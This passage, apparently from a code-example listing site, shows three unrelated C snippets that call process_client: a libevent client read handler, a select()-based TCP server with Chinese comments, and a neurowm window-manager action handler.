                    g_warning("[%s] Invalid MAGIC", cli->id);
                    goto free_client;
                }
                psize = HEADER_SIZE + ntohl(*(uint32_t*)(cli->buffer_in->bytes + HEADER_OFFSET_SIZE));
                /* If the input block isn't large enough to receive the
                   entire packet then switch to one that is */
                if (psize > cli->buffer_in->size) {
                    #if DEBUG
                    g_debug("Switching to bigger block (pktsize=%d)", psize);
                    #endif

                    /* Create new (bigger) block */
                    MemBlock *block = getBlock(psize + 1); /* +1 for terminating NULL to make args easier to work with */
					if (!block) {
                        g_error("Failed to get block of size %d", psize);
						free = 1;
						goto free_client;
					}
                    incRef(block);

                    /* Copy bytes into new block */
                    block->nbytes = cli->buffer_in->nbytes;
                    memmove(block->bytes, cli->buffer_in->bytes, cli->buffer_in->nbytes);

                    /* Swap blocks */
                    decRef(cli->buffer_in);
                    cli->buffer_in = block;
                }
            }
            int num = psize - cli->buffer_in->nbytes;
            if (num > 0)
                ret = client_recv(cli, num);
        }
        if (ret < 0) {
            #if DEBUG
            g_debug("[%s] Connection on closed", cli->id);
            #endif
            free = 1;
        } else if (ret >= 0) {
            if (process_client(cli) != 0) {
                g_warning("[%s] Processing of client failed", cli->id);
                free = 1;
            }
        }
    }
    /*if ((events & (EV_READ|EV_WRITE)) == 0) {
        g_warning("[%s] unhandled event %d", __func__, events);
    }*/

free_client:
    if (free != 0) {
        #if DEBUG
        g_message("[%s] Client disconnected", cli->id);
        #endif

        /*printf("[%s] Removing client %d\n", __func__, cli->fd);*/
        close(cli->fd);
        cli->fd = -1;

        fail_working_jobs(cli);
        stop_all_listening(cli);
        unregister_all_abilities(cli);

        event_del(&cli->evt);
        g_ptr_array_remove_fast(g_clients, cli);

        client_free(cli);
    }
}
コード例 #29
0
ファイル: tcp_select.c プロジェクト: tmhm/Qt4_Desktop
/* 服务器程序 */
int start_server(int port)
{
	int i;
	int r;
	int val;
	int sock_listen;
	struct sockaddr_in host_addr;
	fd_set rfds;
	int nfds;
	/* 打开 socket */
	sock_listen = socket(PF_INET, SOCK_STREAM, 0);
	if (sock_listen < 0) {
		perror("start_server: socket()");
		return -1;
	}
	/* 设置地址可重用 */
	val = 1;
	setsockopt(sock_listen, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val));
	/* 绑定 */
	memset(&host_addr, 0, sizeof(host_addr));
	host_addr.sin_family = AF_INET;
	host_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	host_addr.sin_port = htons(port);
	r = bind(sock_listen, (struct sockaddr *)&host_addr, sizeof(host_addr));
	if (r < 0) {
		perror("start_server: bind()");
		close(sock_listen);
		return -1;
	}
	/* 侦听 */
	r = listen(sock_listen, BACKLOG);
	if (r < 0) {
		perror("start_server: listen()");
		close(sock_listen);
		return -1;
	}
	printf("Server start listening on port %d.\n", port);
	/* 初始化客户端数据 */
	for (i = 0; i < CLIENT_NUM; i++) {
		client[i].sockfd = -1;
		client[i].tail = 0;
	}
	/* 进入主循环 */
	for ( ; ; ) {
		/* 设置文件集合 */
		FD_ZERO(&rfds);
		FD_SET(sock_listen, &rfds);
		nfds = sock_listen+1;
		for (i = 0; i < CLIENT_NUM; i++) {
			if (client[i].sockfd > 0) {
				FD_SET(client[i].sockfd, &rfds);
				if (client[i].sockfd >= nfds) nfds = client[i].sockfd+1;
			}
		}
		/* 监视文件描述符 */
		if (select(nfds, &rfds, NULL, NULL, NULL)) {
			/* 如果侦听的 socket 可读则进行接受操作 */
			if (FD_ISSET(sock_listen, &rfds)) accept_client(sock_listen);
			/* 逐个检查对应各个客户端的 socket 是否就绪 */
			for (i = 0; i < CLIENT_NUM; i++) {
				if (client[i].sockfd < 0) continue;
				/* 如果就绪则进行处理 */
				if (FD_ISSET(client[i].sockfd, &rfds)) process_client(i);
			}
		} else {
			perror("start_server: select()");
		}
	}
	return 0;
}
コード例 #30
0
ファイル: action.c プロジェクト: nnoell/neurowm
void NeuroActionHandlerToggleFreePtrClient(NeuroArg freeSetterFn_arg)  {
  const void *const p = (const void *)&NEURO_ARG_GAF_GET(freeSetterFn_arg);
  process_client(NeuroWorkspaceClientToggleFree, NeuroClientGetPointedByPointer(), NeuroClientSelectorSelf, p);
}